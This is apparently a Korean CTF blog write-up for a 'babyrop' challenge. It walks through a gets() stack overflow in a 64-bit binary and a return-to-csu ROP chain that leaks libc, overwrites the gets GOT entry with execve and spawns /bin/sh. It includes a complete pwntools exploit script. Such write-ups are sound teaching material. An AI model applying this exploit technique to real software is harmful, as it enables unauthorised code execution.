0. Binary 분석
64bit 바이너리에 NX bit가 설정되어 있고, 그 외의 보안 기법은 설정되어 있지 않다.
write( ) 함수로 "Your name: "을 출력하고, gets( ) 함수로 변수를 입력받고 프로그램이 종료되는 간단한 함수다.
1. 취약점 분석
gets( ) 함수에서, 변수에 길이제한 없이 입력받기 때문에 "버퍼 오버플로우" 취약점이 발생한다. 80글자의 문자열을 입력하면 RIP를 덮어서 흐름을 제어할 수 있다.
2. Exploit 작성
문제 이름처럼, ROP를 이용하면 될 것 같다. 취약점 자체는 쉬웠지만, 익스플로잇을 작성하는데 어려움을 겪었다. 일단 쉘을 획득하기 위해 write( ) 함수를 이용하여, write나 gets의 주소를 leak해서 system( )이나 execve( ) 함수의 주소를 구해야한다.
32bit 환경에서는 함수 인자를 넘길 때, 스택을 이용하여 넘기기 때문에 ROP를 수행할 때 다음과 같이 페이로드를 구성했다.
- [call function] [pop; ret;(인자 수만큼 pop)] [argv ...]
64bit에서는 레지스터를 이용하여 인자를 넘기기 때문에 pop rdi, pop rsi 등으로 값을 설정해서 인자를 넘겨야 한다. 그렇다면, 다음과 같이 인자를 세팅하고 write( ) 함수를 호출하면, gets 함수의 실제 주소를 구할 수 있다.
- RDI(첫 번째 인자) : 1
- RSI(두 번째 인자) : gets( ) 함수 got (=0x404020)
- RDX(세 번째 인자) : 8
pop; ret; 으로 값을 세팅하면 되는데, pop rdx를 찾을 수 없었다. 유일하게 있는 것은, 다음 이미지의 어셈밖에 없었다.
pop rdx는 없지만, pop rbx; pop rbp; ...; pop r15; ret이 있다. 그리고, 0x4011B0에서는, mov rdx, r14 명령을 통해, r14값을 rdx로 옮긴다. rsi, edi 값도 r12, r13 레지스터값을 mov 한다. 다 세팅하고, [r15+rbx*8] 값을 호출한다. 이를 이용해서, rop를 하면 될 것 같다. 공격 시나리오는 다음과 같이 구성했다. (추후에, 해당 방법을 return-to-csu라고 부르는 걸 알았다.)
- write 함수를 통한, gets( ) 함수 실제 주소 leak 및 execve( )함수 주소 계산
- gets 함수를 통해 data 영역에 "/bin/sh" 입력
- gets 함수를 통해 gets 함수의 got에 execve 함수 덮어씀.
- 인자값을 입력한 "/bin/sh"로, gets 함수 호출 (GOT를 execve로 덮었으므로, execve함수 호출됨)
공격코드는 다음과 같이 작성했다.
from pwn import *
context.log_level='debug'
p = process('./babyrop')
pause()
write_plt = 0x401030
write_got = 0x404018
gets_plt = 0x401040
gets_got = 0x404020
p_rdi = 0x4011d3
libc_csu = 0x4011b0
data_area = 0x404029
p.recvuntil(': ')
pay = b'A'*72
pay += p64(0x4011CA)
pay += p64(0) #set rbx
pay += p64(1) #set rbp
pay += p64(1) #1st argv
pay += p64(gets_got) #2nd argv
pay += p64(8) #3rd argv
pay += p64(write_got) #call func
pay += p64(libc_csu)
pay += p64(0) #dummy
pay += p64(0)
pay += p64(1)
pay += p64(data_area) #1st
pay += p64(1) #2nd
pay += p64(0) #3rd
pay += p64(gets_got) #call func
pay += p64(libc_csu)
pay += p64(0) #dummy
pay += p64(0)
pay += p64(1)
pay += p64(gets_got) #1st argv
pay += p64(1)
pay += p64(0)
pay += p64(gets_got) #call func
pay += p64(libc_csu)
pay += p64(0) #dummy
pay += p64(0)
pay += p64(1)
pay += p64(data_area)
pay += p64(0)
pay += p64(0)
pay += p64(gets_got)
pay += p64(libc_csu)
p.sendline(pay)
gets_addr = u64(p.recv(8))
system_addr = gets_addr - 0x316e0
binsh_addr = gets_addr + 0x130aba
execve_addr = gets_addr + 0x5f800
log.info("gets()'s addr: 0x%x" % gets_addr)
log.info("system()'s addr: 0x%x" % system_addr)
log.info("/bin/sh's addr: 0x%x" % binsh_addr)
log.info("execve()'s addr: 0x%x" % execve_addr)
p.sendline("/bin/sh")
p.sendline(p64(execve_addr))
p.interactive()
'Security' 카테고리의 다른 글
[Reversing.kr] Easy Unpack (0) | 2021.03.28 |
---|---|
[Dice CTF 2021] flippidy (0) | 2021.03.01 |
[pwnable.kr] ascii_easy (0) | 2021.02.21 |
[pwnable.kr] brain fuck (0) | 2021.02.15 |
[pwnable.kr] fix (0) | 2021.02.10 |